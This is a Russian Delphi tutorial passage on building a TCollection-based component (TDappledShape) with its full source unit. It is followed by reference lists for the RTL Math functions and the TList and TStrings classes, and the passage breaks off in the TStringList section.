Ответ - правильно и то, и другое, но во втором случае мы должны сами позаботиться о замещении метода GetOwner. Можно даже в раздел public (но только не в published) ввести read-only свойство Owner, также дающее ссылку на владельца (через тот же метод GetOwner). Тем самым, не затрачивая лишних ресурсов (свойства не требуют памяти) мы дополнительно усиливаем сходство создаваемой коллекции с компонентом - ведь все компоненты имеют свойство Owner.
Наверх

1.4. Резюме по теоретической части

Итак, коллекция - это объект, реализующий список других объектов. Его основное отличие от общего списка TList заключается в том, что, не будучи компонентом, он в design-time допускает работу с собой, как с компонентом. Для этого используются общий редактор всех компонентов Object Inspector и специальный редактор свойства Collection Editor. Такая особенность поддерживается как IDE, так и самой коллекцией, что налагает на ее реализацию ряд требований.
Наверх

2. ПРАКТИКА

Прикладным программистам, особенно мало знакомым с работой самой IDE все предыдущее вполне могло показаться слишком неинтересным или слишком сложным. Настало время показать, что это вовсе не так. Создадим учебный компонент - потомок TShape, содержащий коллекцию визуальных точек. Его практическая ценность довольно сомнительна, но для демонстрационных целей такой компонент неплох, поскольку он достаточно прост и поэтому <лес не будет слишком заслонен деревьями> (ведь наша основная цель - научиться работать с коллекциями).

Итак, запускаем Delphi, щелкаем по File | New, выбираем и нажимаем OK. В поле пишем слово , а в поле - слово и нажимаем . Переходим на вкладку , нажимаем и задаем путь к создаваемому пакету, а в качестве его имени указываем, например, . Далее на все вопросы отвечаем нажимом кнопок <Да> - и в итоге на странице Samples палитры получаем свежесозданный компонент DappledShape, который пока еще ничем не отличается от своего предка - стандартного Shape.

На экране будет окно, в котором отображается состав нового пакета HelloWorld. Не нужно его закрывать, оно еще понадобится - ведь после всех изменений пакет надо перекомпилировать (кнопка ). А мы перейдем в окно редактора с текстом модуля DappledShape и, наконец, займемся настоящим программированием. Практически весь код нам придется писать вручную, но что может быть интереснее, не правда ли?
Наверх

2.1. Создание элемента коллекции

Итак, элемент нашей коллекции будет представлять визуальную точку. Такая точка имеет две координаты центра и цвет. Конечно, можно ввести еще множество других параметров (размер, форма, вид кисти и т.д.), но мы не будем усложнять и ограничимся перечисленными тремя.

В разделе interface сразу после слова type пишем следующее объявление класса, который и будет представлять элемент нашей коллекции.

TSpot = class(TCollectionItem)
private
  FCenterX: integer;
  FCenterY: integer;
  FColor: TColor;
public
  constructor Create(Collection: TCollection); override;
published
  property CenterX: integer read FCenterX write SetCenterX default 3;
  property CenterY: integer read FCenterY write SetCenterY default 3;
  property Color: TColor read FColor write SetColor default clBlack;
end;

Почему это объявление именно такое, а не какое-то другое? Очень просто - мы хотели ввести три свойства и ввели их, а конструктор нужен для присвоения им значений по умолчанию.

Теперь ставим курсор куда-то в середину этого объявления и нажимаем Ctrl+Shift+C. Умница Delphi добавляет еще три метода и создает скелет реализации. Остается только на языке Object Pascal объяснить, чего же мы, собственно, хотим. Итак, пишем реализацию.

constructor TSpot.Create(Collection: TCollection);
begin
// Создаем сам объект и инициализируем его поля
  inherited Create(Collection);
  FCenterX := 3;
  FCenterY := 3;
  FColor := clBlack
end;

procedure TSpot.SetCenterX(const Value: integer);
begin
// Если значение новое, запоминаем его и запрашиваем перерисовку
  if FCenterX <> Value then
    begin
      FCenterX := Value;
      Changed(False)
    end
end;

procedure TSpot.SetCenterY(const Value: integer);
begin
  if FCenterY <> Value then
    begin
      FCenterY := Value;
      Changed(False)
    end
end;

procedure TSpot.SetColor(const Value: TColor);
begin
  if FColor <> Value then
    begin
      FColor := Value;
      Changed(False)
    end
end;

Весь этот код, в общем-то, совершенно стандартный, но для тех, кто не имеет достаточного опыта в написании классов, приведу все же некоторые пояснения.

Конструктор. Здесь его замещение нужно только для того, чтобы присвоить полям объекта начальные значения. Те же значения указаны в объявлениях свойств, но это не значит, что они будут присвоены автоматически. Наоборот, описатель default в объявлении свойства просто информирует IDE о том, какое значение это свойство получает по умолчанию. Если текущее значение свойства и его значение по умолчанию совпадают, то IDE не будет сохранять текущее значение в файле формы, что уменьшает размер программы.

Методы . Это так называемые методы доступа к свойствам (точнее, методы их записи), причем в данном случае все они практически одинаковы. После присваивания вызывается метод Changed, что информирует коллекцию об изменении элемента и, как мы увидим далее, приводит к перерисовке. Предварительная проверка равенства нового и текущего значений позволяет избежать ненужных действий, особенно, лишней перерисовки.

Если в программе написано, например, Color:=clRed, то вместо прямого присваивания компилятор сгенерит вызов метода записи SetColor(clRed) и, таким образом, перерисовка будет выполнена автоматически. Почти то же самое происходит и при установке свойства в design-time.
Наверх

2.2. Создание самой коллекции

Создание элемента коллекции полностью закончено. Возвращаемся в раздел interface и сразу же после объявления класса TSpot пишем две следующие строки.
TDappledShape = class;
TItemChangeEvent = procedure(Item: TCollectionItem) of object;

Первая строка - это так называемое опережающее объявление класса. При вставке коллекции в компонент этот прием является стандартным и позволяет использовать еще не объявленный класс самого компонента в объявлении класса коллекции (что, в свою очередь, дает возможность реализовать метод GetOwner).

Вторая строка определяет так называемый тип обработчика события. Наше событие будет означать, что произошло какое-то изменение элемента коллекции (параметр Item). Собственно говоря, введение такого события совсем не обязательно и сделано лишь с целью иллюстрации.

Теперь мы можем объявить класс самой коллекции.

TSpotCollection = class(TCollection)
private
  FDappledShape: TDappledShape;
  FOnItemChange : TItemChangeEvent;
protected
  function GetOwner: TPersistent; override;
  procedure Update(Item: TCollectionItem); override;
  procedure DoItemChange(Item: TCollectionItem); dynamic;
public
  constructor Create(DappledShape: TDappledShape);
  function Add: TSpot;
  property Items[Index: Integer]: TSpot read GetItem write SetItem; default;
published
  property OnItemChange: TItemChangeEvent read FOnItemChange write FOnItemChange;
end;

Если не учитывать добавленное нами событие (поле FOnItemChange, метод DoItemChange и свойство OnItemChange), то можно сказать, что такое объявление коллекции является практически стандартным. Описатель default для свойства Items здесь имеет иной смысл, чем ранее. Он означает, что само свойство Items является <свойством по умолчанию> - то есть, что, если в программе объявлена, например, переменная MySpotCollection: TSpotCollection, то синтаксические конструкции MySpotCollection[i] и MySpotCollection.Items[i] будут эквивалентны.

Теперь поступаем так же, как и прежде - ставим курсор куда-то внутрь этого объявления, нажимаем Ctrl+Shift+C, получаем скелет реализации и дописываем код. Обратите внимание, что и в этом случае Delphi добавляет в раздел private два метода доступа - GetItem (чтение) и SetItem (запись), которые мы ввели при объявлении свойства Items. Однако коллекции требуют, чтобы эти два метода были доступны классам-потомкам и поэтому они должны быть объявлены в разделе protected, куда нам и следует их перенести вручную. В итоге получим следующее.

function TSpotCollection.Add: TSpot;
begin
// Получаем общий TCollectionItem и приводим его к нашему TSpot
  Result := TSpot(inherited Add)
end;

constructor TSpotCollection.Create(DappledShape: TDappledShape);
begin
// Создаем коллекцию и запоминаем ссылку на ее владельца
  inherited Create(TSpot);
  FDappledShape := DappledShape
end;

procedure TSpotCollection.DoItemChange(Item: TCollectionItem);
begin
// Стандартный вызов пользовательского обработчика события
  if Assigned(FOnItemChange) then FOnItemChange(Item)
end;

function TSpotCollection.GetItem(Index: Integer): TSpot;
begin
// Получаем общий TCollectionItem и приводим его к нашему TSpot
  Result := TSpot(inherited GetItem(Index))
end;

function TSpotCollection.GetOwner: TPersistent;
begin
// Возвращаем ранее запомненную ссылку на владельца коллекции
  Result := FDappledShape
end;

procedure TSpotCollection.SetItem(Index: Integer; const Value: TSpot);
begin
// Просто используем унаследованный метод записи
  inherited SetItem(Index, Value)
end;

procedure TSpotCollection.Update(Item: TCollectionItem);
begin
// Вызов унаследованного метода здесь лишний, но это грамотный стиль. Он
// гарантирует верную работу даже при изменениях в новых версиях Delphi.
  inherited Update(Item);
// Даем запрос на перерисовку компонента-владельца
  FDappledShape.Invalidate;
// Возбуждаем событие - сигнал об изменении элемента
  DoItemChange(Item)
end;

Практически весь приведенный код реализации коллекции можно рассматривать, как совершенно стандартный и использовать его аналог чуть ли не для всех коллекций. Как видим, замещение методов класса-предка нужно, в общем-то, лишь для поддержки работы с конкретными используемыми классами элемента коллекции и ее владельца.

Замещение метода Update позволяет обновить компонент-владелец при изменении любого элемента коллекции (а также при их добавлении к коллекции и удалении из нее). Использованный в данном примере способ обновления не является оптимальным (поскольку при изменении всего лишь одного элемента перерисовывается весь компонент) и выбран лишь из-за своей простоты.

В том же методе Update возбуждается введенное нами событие. При этом пользовательский обработчик вызывается не напрямую, а через так называемый метод диспетчеризации события - в данном случае, DoItemChange. Это стандартный подход. Он позволяет потомкам класса заместить метод диспетчеризации и, таким образом, встроить в цепочку обработки события свой код, не затрагивая никаких других аспектов. Но такая необходимость возникает все же достаточно редко и потому, с целью некоторой экономии памяти, методы диспетчеризации событий практически всегда объявляются, как динамические, а не виртуальные.

Итак, коллекция создана. Но для того, чтобы использовать ее по назначению, нужно сначала <вживить> ее в компонент.
Наверх

2.3. Внедрение коллекции в компонент

С самого начала Delphi создала нам скелет объявления класса TDappledShape и сейчас, наконец, настало время его оживить. Пишем следующее.

TDappledShape = class(TShape)
private
  FSpots: TSpotCollection;
protected
  procedure Paint; override;
public
  constructor Create(AOwner: TComponent); override;
  destructor Destroy; override;
published
  property Spots: TSpotCollection read FSpots write SetSpots;
end;

Что мы сделали? Во-первых, ввели в компонент коллекцию (поле FSpots и свойство Spots с методом записи SetSpots). Далее, поскольку коллекция - это объект, то ее надо сначала создать, а затем уничтожить, поэтому замещаем конструктор и деструктор. Наконец, для отрисовки элементов коллекции замещаем метод Paint. И, конечно, чтобы с коллекцией можно было работать в design-time, свойство Spots обязательно должно быть помещено в раздел published.

Далее, как обычно - курсор внутрь класса, Ctrl+Shift+C и пишем реализацию.

constructor TDappledShape.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FSpots := TSpotCollection.Create(Self)
end;

destructor TDappledShape.Destroy;
begin
  FSpots.Free;
  inherited Destroy
end;

procedure TDappledShape.Paint;
var
  SaveColor: TColor;
  SaveStyle: TBrushStyle;
  i: integer;
begin
  inherited Paint;
  SaveColor := Canvas.Brush.Color;
  SaveStyle := Canvas.Brush.Style;
  Canvas.Brush.Style := bsSolid;
  for i := 0 to FSpots.Count - 1 do
    with FSpots.Items[i] do
      begin
        Canvas.Brush.Color := Color;
        Canvas.Ellipse(CenterX - 3, CenterY - 3, CenterX + 3, CenterY + 3)
      end;
  Canvas.Brush.Style := SaveStyle;
  Canvas.Brush.Color := SaveColor
end;

procedure TDappledShape.SetSpots(const Value: TSpotCollection);
begin
  FSpots.Assign(Value)
end;

Весь этот код, в общем, очевиден и некоторых комментариев, пожалуй, требует только метод SetSpots. Тем более, что его код опять-таки стандартен для внедренного в компонент объектного свойства, в частности, для свойства-коллекции.

Что произойдет, если написать Object1:=Object2 ? Поскольку Object1 и Object2 - это, по сути, указатели, то после прямого копирования значения Object2 в Object1 оба указателя будут ссылаться на один и тот же объект. Если перед этим Object1 указывал на другой объект, то ссылка потеряется и объект <зависнет> в памяти - но никакого копирования <начинки> Object2 в Object1 не произойдет.

Чтобы скопировать не адрес объекта, а его <начинку> используется метод Assign. Но мы поместили его вызов внутрь метода записи - а это означает, что обычное присвоение нашей коллекции какого-либо значения скопирует именно элементы, а не адрес присваиваемой коллекции (в самом деле, ведь вместо присвоения компилятор сгенерит вызов метода SetSpots).

Вот и все! Теперь осталось только сохранить готовый модуль, вспомнить, что где-то в недрах экрана висит окно пакета HelloWorld, найти его и нажать кнопку Compile. После этого можем с удовольствием пользоваться собственным компонентом с собственной коллекцией.

ПОСЛЕСЛОВИЕ

Мы рассмотрели особенности коллекций, как списков и на практике прошли весь, от начала и до самого конца путь разработки коллекции и ее внедрения в компонент. Надеюсь, эта статья окажется полезной - прежде всего, начинающим программистам, для которых она и писалась.

А мне остается попрощаться и пожелать Вам, читатель, хорошего коллекционирования!
Наверх

Юрий Зотов,
03 мая 2000
Специально для <Королевства Delphi>.

Оригинал статьи расположен по адресу http://www.delphikingdom.ru/helloworld/tcollection.htm

Приложение:

Полный текст модуля

// Пример разработки и использования коллекции.
// Юрий Зотов (yurzosoft@mtu-net.ru?subject=Collections).
// 29 апреля 2000 года.
// Специально для сайта "Королевство Delphi" (http://delphi.vitpc.com).

unit DappledShape;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls;

type
  TSpot = class(TCollectionItem)
  private
    FCenterX: integer;
    FCenterY: integer;
    FColor: TColor;
    procedure SetCenterX(const Value: integer);
    procedure SetCenterY(const Value: integer);
    procedure SetColor(const Value: TColor);
  public
    constructor Create(Collection: TCollection); override;
  published
    property CenterX: integer read FCenterX write SetCenterX default 3;
    property CenterY: integer read FCenterY write SetCenterY default 3;
    property Color: TColor read FColor write SetColor default clBlack;
  end;

  TDappledShape = class;
  TItemChangeEvent = procedure(Item: TCollectionItem) of object;

  TSpotCollection = class(TCollection)
  private
    FDappledShape: TDappledShape;
    FOnItemChange : TItemChangeEvent;
    function GetItem(Index: Integer): TSpot;
    procedure SetItem(Index: Integer; const Value: TSpot);
  protected
    function GetOwner: TPersistent; override;
    procedure Update(Item: TCollectionItem); override;
    procedure DoItemChange(Item: TCollectionItem); dynamic;
  public
    constructor Create(DappledShape: TDappledShape);
    function Add: TSpot;
    property Items[Index: Integer]: TSpot read GetItem write SetItem; default;
  published
    property OnItemChange: TItemChangeEvent
      read FOnItemChange write FOnItemChange;
  end;

  TDappledShape = class(TShape)
  private
    FSpots: TSpotCollection;
    procedure SetSpots(const Value: TSpotCollection);
  protected
    procedure Paint; override;
  public
    constructor Create(AOwner: TComponent); override;
    destructor Destroy; override;
  published
    property Spots: TSpotCollection read FSpots write SetSpots;
  end;

procedure Register;

implementation

procedure Register;
begin
  RegisterComponents('Samples', [TDappledShape]);
end;

{ TSpot }

constructor TSpot.Create(Collection: TCollection);
begin
  inherited Create(Collection);
  FCenterX := 3;
  FCenterY := 3;
  FColor := clBlack
end;

procedure TSpot.SetCenterX(const Value: integer);
begin
  if FCenterX <> Value
     then begin
            FCenterX := Value;
            Changed(False)
          end
end;

procedure TSpot.SetCenterY(const Value: integer);
begin
  if FCenterY <> Value
     then begin
            FCenterY := Value;
            Changed(False)
          end
end;

procedure TSpot.SetColor(const Value: TColor);
begin
  if FColor <> Value
     then begin
            FColor := Value;
            Changed(False)
          end
end;

{ TSpotCollection }

function TSpotCollection.Add: TSpot;
begin
  Result := TSpot(inherited Add)
end;

constructor TSpotCollection.Create(DappledShape: TDappledShape);
begin
  inherited Create(TSpot);
  FDappledShape := DappledShape
end;

procedure TSpotCollection.DoItemChange(Item: TCollectionItem);
begin
  if Assigned(FOnItemChange) then FOnItemChange(Item)
end;

function TSpotCollection.GetItem(Index: Integer): TSpot;
begin
  Result := TSpot(inherited GetItem(Index))
end;

function TSpotCollection.GetOwner: TPersistent;
begin
  Result := FDappledShape
end;

procedure TSpotCollection.SetItem(Index: Integer; const Value: TSpot);
begin
  inherited SetItem(Index, Value)
end;

procedure TSpotCollection.Update(Item: TCollectionItem);
begin
  inherited Update(Item);
  FDappledShape.Invalidate;
  DoItemChange(Item)
end;

{ TDappledShape }

constructor TDappledShape.Create(AOwner: TComponent);
begin
  inherited Create(AOwner);
  FSpots := TSpotCollection.Create(Self)
end;

destructor TDappledShape.Destroy;
begin
  FSpots.Free;
  inherited Destroy
end;

procedure TDappledShape.Paint;
var
  SaveColor: TColor;
  SaveStyle: TBrushStyle;
  i: integer;
begin
  inherited Paint;
  SaveColor := Canvas.Brush.Color;
  SaveStyle := Canvas.Brush.Style;
  Canvas.Brush.Style := bsSolid;
  for i := 0 to FSpots.Count - 1 do
    with FSpots.Items[i] do
      begin
        Canvas.Brush.Color := Color;
        Canvas.Ellipse(CenterX - 3, CenterY - 3, CenterX + 3, CenterY + 3)
      end;
  Canvas.Brush.Style := SaveStyle;
  Canvas.Brush.Color := SaveColor
end;

procedure TDappledShape.SetSpots(const Value: TSpotCollection);
begin
  FSpots.Assign(Value)
end;

end.

Взято из http://forum.sources.ru


RTL Delphi (краткий справочник)

Cодержание раздела:

Math - математика, статистика, финансы
Арифметика New!
Тригонометрические функции и процедуры New!
Функции и процедуры для финансовых вычислений New!

См. также статьи в других разделах:
Процедуры и функции RxLib


Math - математика, статистика, финансы

Тригонгометрические функции:

function ArcCos(X: Extended): Extended;
function ArcSin(X: Extended): Extended;
function ArcTan2(Y, X: Extended): Extended; Арктангенс X/Y возвращает угол в квадранте
procedure SinCos(Theta: Extended; var Sin, Cos: Extended) register; возвращает сразу и синус и косинус, вычисления в 2 раза быстрее чем Sin, Cos по отдельности
function Tan(X: Extended): Extended;
function Cotan(X: Extended): Extended;
function Hypot(X, Y: Extended): Extended; Возвращает значение гипотенузы по катетам

Конвертация углов

function DegToRad(Degrees: Extended): Extended;
function RadToDeg(Radians: Extended): Extended;
function GradToRad(Grads: Extended): Extended;
function RadToGrad(Radians: Extended): Extended;
function CycleToRad(Cycles: Extended): Extended;
function RadToCycle(Radians: Extended): Extended;

Гиперболические функции

function Cosh(X: Extended): Extended;
function Sinh(X: Extended): Extended;
function Tanh(X: Extended): Extended;
function ArcCosh(X: Extended): Extended;
function ArcSinh(X: Extended): Extended;
function ArcTanh(X: Extended): Extended;

Логарифмы, экспоненты и возведение в степень

function LnXP1(X: Extended): Extended; - натуральный логариф x+1 (для более высокой точности при x близких к нулю)
function Log10(X: Extended): Extended; - десятичный логарифм
function Log2(X: Extended): Extended; - логарифм по основанию 2
function LogN(Base, X: Extended): Extended; - логарифм по произвольному основанию
function IntPower(Base: Extended; Exponent: Integer): Extended register;
function Power(Base, Exponent: Extended): Extended;

Разные функции

procedure Frexp(X: Extended; var Mantissa: Extended; var Exponent: Integer) register; - возвращает мантису и экспоненту
function Ldexp(X: Extended; P: Integer): Extended register; - возвращает X*2**P
function Ceil(X: Extended):Integer; - округляет до ближайшего большего целого
function Floor(X: Extended): Integer; - округляет до ближайшего меньшего целого
function Poly(X: Extended; const Coefficients: array of Double): Extended; вычисление полинома

Статистические функции

function Mean(const Data: array of Double): Extended; среднее арифметическое
function Sum(const Data: array of Double): Extended register; сумма ряда
function SumInt(const Data: array of Integer): Integer register; сумма ряда целых чисел
function SumOfSquares(const Data: array of Double): Extended; сумма квадратов
procedure SumsAndSquares(const Data: array of Double; var Sum, SumOfSquares: Extended) register; сумма и сумма квадратов одной функцией
function MinValue(const Data: array of Double): Double; минимальное значение в ряду
function MinIntValue(const Data: array of Integer): Integer; минимальное значение в ряду целых
function Min(A,B) минимальное значение из 2х чисел (overload функции для Integer, Int64, Single, Double, Extended)
function MaxValue(const Data: array of Double): Double;
function MaxIntValue(const Data: array of Integer): Integer;
function Max(A,B);
function StdDev(const Data: array of Double): Extended; стандартное отклонение
procedure MeanAndStdDev(const Data: array of Double; var Mean, StdDev: Extended); - среднее арифметическое и стандартное отклонение
function PopnStdDev(const Data: array of Double): Extended; распределение стандартного отклонения (Population Standard Deviation)
function Variance(const Data: array of Double): Extended;
function PopnVariance(const Data: array of Double): Extended; (Population Variance)
function TotalVariance(const Data: array of Double): Extended;
function Norm(const Data: array of Double): Extended; среднее квадратичное (Sqrt(SumOfSquares))
procedure MomentSkewKurtosis(const Data: array of Double;
var M1, M2, M3, M4, Skew, Kurtosis: Extended); основные статистические моменты
function RandG(Mean, StdDev: Extended): Extended; - случайные числа с Гауссовским распределением

Финансовые функции

function DoubleDecliningBalance(Cost, Salvage: Extended; Life, Period: Integer): Extended;
function FutureValue(Rate: Extended; NPeriods: Integer; Payment, PresentValue: Extended; PaymentTime: TPaymentTime): Extended;
function InterestPayment(Rate: Extended; Period, NPeriods: Integer; PresentValue,
FutureValue: Extended; PaymentTime: TPaymentTime): Extended;
function InterestRate(NPeriods: Integer;
Payment, PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;
function InternalRateOfReturn(Guess: Extended;
const CashFlows: array of Double): Extended;
function NumberOfPeriods(Rate, Payment, PresentValue, FutureValue: Extended;
PaymentTime: TPaymentTime): Extended;
function NetPresentValue(Rate: Extended; const CashFlows: array of Double;
PaymentTime: TPaymentTime): Extended;
function Payment(Rate: Extended; NPeriods: Integer;
PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;
function PeriodPayment(Rate: Extended; Period, NPeriods: Integer;
PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;
function PresentValue(Rate: Extended; NPeriods: Integer;
Payment, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;
function SLNDepreciation(Cost, Salvage: Extended; Life: Integer): Extended;
function SYDDepreciation(Cost, Salvage: Extended; Life, Period: Integer): Extended;


Арифметика

Abs Возвращает абсолютное значение аргумента.
Ceil Округляет значение аргумента в большую сторону.
Exp Вычисляет значение ex.
Floor Округляет значение аргумента в меньшую сторону.
Frac Возвращает дробную часть аргумента.
Frexp Возвращает мантиссу и экспоненту аргумента.
Int Возвращает целую часть аргумента.
IntPower Возводит аргумент X в целочисленную степень Y.
Ldexp Вычисляет X*2Y.
Ln Вычисляет натуральный логарифм ln(x).
LnXP1 Вычисляет натуральный логарифм ln(x+1).
Log10 Вычисляет десятичный логарифм.
Log2 Вычисляет логарифм аргумента по основанию 2.
LogN Вычисляет логарифм аргумента по основанию N.
Max Возвращает большее из двух чисел.
Min Возвращает меньшее из двух чисел.
Pi Возвращает значение числа Пи.
Poly Вычисляет однородный полином.
Power Возводит X в степень Y.
Round Округляет число к ближайшему целому.
Sqr Вычисляет квадрат аргумента Х.
Sqrt Вычисляет квадратный корень аргумента Х.
Trunc Отсекает дробную часть числа.
Взято с http://atrussk.ru/delphi/


Тригонометрические функции и процедуры

ArcCos Вычисляет арккосинус аргумента.
ArcCosh Вычисляет гиперболический арккосинус аргумента.
ArcSin Вычисляет арксинус аргумента.
ArcSinh Вычисляет гиперболический арксинус аргумента.
ArcTan Вычисляет арктангенс аргумента.
ArcTan2 Вычисляет arctg(Y/X).
ArcTanh Вычисляет гиперболический арктангенс аргумента.
Cos Вычисляет косинус аргумента.
Cosh Вычисляет гиперболический косинус аргумента.
Cotan Вычисляет котангенс аргумента.
Hypot Вычисляет длину гипотенузы прямоугольного треугольника.
Sin Вычисляет синус аргумента.
SinCos Вычисляет одновременно синус и косинус аргумента.
Sinh Вычисляет гиперболический синус аргумента.
Tan Вычисляет тангенс аргумента.
Tanh Вычисляет гиперболический тангенс аргумента.

Преобразование тригонометрических единиц измерений

CycleToRad Преобразовывает значение аргумента из циклов в радианы.
DegToRad Преобразовывает значение аргумента из градусов в радианы.
GradToRad Преобразовывает значение аргумента из десятичных градусов (grad) в радианы.
RadToCycle Преобразовывает значение аргумента из радианов в циклы.
RadToDeg Преобразовывает значение аргумента из радианов в градусы.
RadToGrad Преобразовывает значение аргумента из радианов в десятичные градусы (grad).
Взято с http://atrussk.ru/delphi/


Функции и процедуры для финансовых вычислений

DoubleDecliningBalance Вычисляет амортизационные отчисления на определенном этапе.
FutureValue Вычисляет значение вклада через определенный период времени.
InterestPayment Вычисляет процентную ставку кредита.
InterestRate Вычисляет процентную ставку инвестиций.
InternalRateOfReturn Вычисляет внутреннюю ставку дохода от инвестиций.
NetPresentValue Вычисляет текущее значение платежа, используя массив с расчетными значениями.
NumberOfPeriods Вычисляет количество этапов необходимое для погашения кредита.
Payment Вычисляет полную сумму погашения кредита на отдельном этапе.
PeriodPayment Вычисляет необходимую сумму выплат основной части (без процентов) кредита на определенном этапе.
PresentValue Определяет текущее значение вклада.
SLNDepreciation Вычисляет сумму амортизационных отчислений по методу равномерной амортизации.
SYDDepreciation Вычисляет сумму амортизационных отчислений по методу ускоренной амортизации.
Взято с http://atrussk.ru/delphi/


Базовые классы

TList New!
TStrings и TStringList New!
TStream New!
TObject New!
TComponent New!
TPersistent New!
TControl New!
TWinControl New!
TCustomControl New!
TGraphicControl New!


TList

Класс TList

Класс TList — универсальный список. Он представляет собой массив нетипированных указателей и поэтому годится для хранения набора любых, в том числе разнотипных, данных и объектов. При добавлении/удалении в список данные не создаются и не уничтожаются — эта обязанность лежит на программисте.

Приведем доступные ему методы и свойства класса:

property Items[Index: Integer]: Pointer; Возвращает указатель на содержимое элемента списка с индексом Index. Это свойство является векторным свойством, принимаемым по умолчанию, и его имя можно при записи опускать.

property Count: Integer; Определяет число элементов в списке.

property Capacity: Integer; Определяет максимальное число элементов в списке. Оно может изменяться как явно — пользователем, так и при добавлении элементов в список, в том случае, когда Count>=Capacity. Максимальная емкость списка — 16380 элементов.

Управляют списком следующие методы:

function Add(Item: Pointer): Integer; Добавляет в конец списка элемент, который будет равен Item (т. е. указывать на те же данные).

function Remove(Item: Pointer): Integer; Удаляет из списка элемент, который равен Item.

procedure Insert(Index: Integer; Item: Pointer) ; Вставляет элемент, равный Item, перед элементом с индексом Index.

procedure Delete(Index: Integer); Удаляет из списка элемент с индексом Index.

procedure Clear; Очищает список, устанавливая величины Count и Capacity в 0.

procedure Exchange(Indexl, Index2: Integer); Меняет местами элементы списка с индексами Indexl и Index2.

function Expand: TList; При соблюдении равенства Count=Capacity расширяет список. При емкости списка менее пяти элементов, он по умолчанию расширяется на четыре элемента, при пяти-восьми — на восемь, более восьми — на шестнадцать.

function First: Pointer; function Last: Pointer; Возвращают значения первого п последнего (с индексом Count-1) элементов списка соответственно.

function IndexOf(Item: Pointer): Integer; Возвращает индекс элемента, равного Item.

procedure Move(CurIndex, Newlndex: Integer) ; Перемещает элемент списка с положения Curlndex в положение Newlndex.

procedure Pack; Упаковывает список, сдвигая элементы к началу на пустующие места.

Наконец, если приведенных методов почему-либо недостаточно, то свойство
property List: pPointerList;
pPointerList = ^TPointerList;
TPointerList = array[0..65520 div SizeOf(Pointer)] of Pointer;
возвращает указатель непосредственно на список указателен ((ко) означает, что свойство доступно только для чтения).


TStrings и TStringList

Класс TStrings

Многофункциональный класс, предназначенный для хранения текстовых строк и связанных с ними объектов (любых потомков TObject). TStrings — абстрактный класс; он только описывает методы работы с наборами строк и сопутствующих им объектов, но как именно они хранятся, на его уровне не определено. Его потомки очень многочисленны; они играют основную роль в компонентах-списках (TListBox, TComboBox), редакторе (TMemo) и других. Так что вам чаще всего придется иметь дело с TStrings как со свойством одного из компонентов. В дальнейшем экземпляры этого класса и порожденных от него классов мы-будем называть наборами строк. Для создания собственных наборов строк вне компонентов предназначен потомок TStrings — TStringList, который будет рассмотрен ниже.

К строкам и объектам соответственно можно получить доступ через свойства:

property Strings[Index: Integer]: string;

property Objects[Index: Integer]: TObject;

Первое из них является векторным свойством, принимаемым по умолчанию. Общее количество пар в списке равно значению свойства:

property Count: Integer;

Класс TStrings также предназначен для хранения пар вида 'параметр=значение', например, в файлах инициализации (.INI). Эту возможность реализует следующее свойство:

property Values[const Name: string]: string;

При обращении к этому свойству для чтения ищется строка, содержащая подстроку (параметр) Name и символ '='. Если она найдена, возвращается то, что находится в этой строке после '='. Если нет, ValuesfName] равно пустой строке. При записи: если строка, содержащая параметр Name, найдена — ее значение после '=' заменяется новым значением, если нет — строка добавляется. Если существующему параметру присваивается пустая строка (Valu-es[Name] := ";), то он удаляется из набора строк.

Методы класса

procedure BeginUpdate; procedure EndUpdate; Пара процедур, которые устанавливают и сбрасывают флаг обновления набора. Между ними, для ускорения работы, нужно заключать все операции по копированию, удалению и т. д. большого количества элементов.

procedure Clear; Осуществляет полную очистку набора.

procedure Insert(Index: Integer; const S: string); Вставляет строку S под индексом Index.

procedure Delete(Index: Integer); Удаляет строку с индексом Index.

function IndexOf(const S: string): Integer; Возвращает индекс (номер в наборе) строки S. Если она не найдена, функция возвращает -1.

function IndexOfObject(AObject: TObject): Integer; Возвращает индекс объекта в наборе. В случае неудачи возвращает -1.

function Equals(Strings: TStrings): Boolean; Сравнивает строки вызвавшего его объекта со строками объекта Strings и возвращает True в случае равенства (сравниваются число строк и все строки попарно).

function Add(const S: string): Integer- Добавляет строку S в конец набора и в случае успеха возвращает присвоенный ей индекс (он должен быть равен значению Count до добавления строки).

function AddObject(const S: string; AObject: TObject): Integer; Добавляет строку в паре с объектом. Возвращает то же, что и метод Add.

procedure Exchange(Indexl, Index2: Integer); Меняет местами пары строка+объект с индексами Indexl и Index2.

procedure Move(Curlndex, Newlndex: Integer); Перемещает пару строка+объект с позиции Curlndex в позицию Newlndex.

procedure InsertObject(Index: Integer; const S: string; AObject: TObject); Вставляет объект AObject и соответствующую ему строку S в набор под индексом Index.

Шесть методов предназначены для экспорта/импорта наборов строк:

а) в поток:
procedure LoadFromStream(Stream: TStream);
procedure SaveToStream(Stream: TStream);

б) в файл (создавая поток и вызывая два предыдущих метода):
procedure LoadFrornFile (const FileName: strings-procedure SaveToFile(const FileName: string);

в) в данные в формате текстового редактора (подряд расположенные строки, оканчивающиеся парой символов CR/LF (16-ричные коды SOD/SOA)).

procedure AddScrings(Strings: TStrings); Добавляет в конец набора другой набор Strings.
procedure Assign(Source: TPersistent); Уничтожает прежнее содержимое набора и подставляет вместо него Source, если источник имеет тип TStrings. В противном случае возникает исключительная ситуация EConvertError.

При этом метод
function GetText: PChar;
выгружает строки в единый массив, где они разделены парами символов CR/LF; в конце такого массива ставится нулевой байт. Размер массива не может превышать 65520 байт; поэтому строки выгружаются до тех пор, пока их суммарная длина не превосходит этого значения.

Метод
procedure SetText(Text: PChar);
читает строки из массива Text. Строки в массиве должны быть отделены друг от друга парой символов CR/LF; допускается и один символ LF (16-ричный код $ОА). Символы с кодами 0, $lA(<Ctrl>+<Z>) воспринимаются как конец текста. При этом прежнее содержимое набора уничтожается.

Класс TStringlist

Этот класс объединяет в себе свойства TStrings и TList простейшим способом — указатель на объект и соответствующая строка объединяются в запись, указатель на которую хранится в списке. В классе переопределены многие виртуальные методы TStrings: Add, Clear, Delete, Exchange, IndexOf, Insert; он является полностью функциональным и вы можете создавать экземпляры TStringList в своей программе для работы с наборами строк и объектов (помимо тех, которые уже есть в компонентах).

Кроме унаследованных от TStrings, определены дополнительно полезные методы и свойства:

